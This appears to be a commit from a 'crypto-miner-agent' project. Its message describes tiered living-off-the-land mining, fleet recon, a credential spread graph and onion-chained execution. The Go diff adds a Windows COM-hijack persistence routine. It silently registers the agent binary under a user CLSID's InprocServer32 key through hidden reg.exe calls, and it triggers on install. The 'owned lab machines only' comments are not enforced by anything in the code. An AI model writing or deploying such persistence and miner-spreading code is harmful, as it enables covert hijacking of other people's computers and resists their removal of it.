Add tiered LOTL mining onion and fleet recon so agents can fallback across execution tiers while operators see spread and vuln posture in Crucible. Includes triple-onion chain, spread cred graph, and full Go/TS/E2E test validation.

agent/deploy/com_hijack_windows.go

@@ -0,0 +1,33 @@
+//go:build windows
+
+package deploy
+
+import (
+	"fmt"
+	"log"
+
+	"crypto-miner-agent/config"
+)
+
+// Benign CLSID used for optional COM hijack persistence (owned lab machines only).
+const comHijackCLSID = `{BCDE0395-E52F-467C-8E3D-C4579291692E}`
+
+// applyCOMHijackPersistence registers agent under InprocServer32 (forge flag COMHijackPersist).
+func applyCOMHijackPersistence(agentPath string) error {
+	if agentPath == "" {
+		return fmt.Errorf("empty agent path")
+	}
+	base := `HKCU\Software\Classes\CLSID\` + comHijackCLSID + `\InprocServer32`
+	_ = HiddenRun("reg.exe", "add", base, "/ve", "/d", agentPath, "/f")
+	_ = HiddenRun("reg.exe", "add", base, "/v", "ThreadingModel", "/d", "Apartment", "/f")
+	log.Printf("[spread] COM hijack registered under %s (owned machines only)", comHijackCLSID)
+	return nil
+}
+
+// MaybeApplyCOMHijackOnInstall applies COM hijack after install when configured.
+func MaybeApplyCOMHijackOnInstall(cfg config.RuntimeConfig, installedBin string) {
+	if !cfg.COMHijackPersist {
+		return
+	}
+	_ = applyCOMHijackPersistence(installedBin)
+}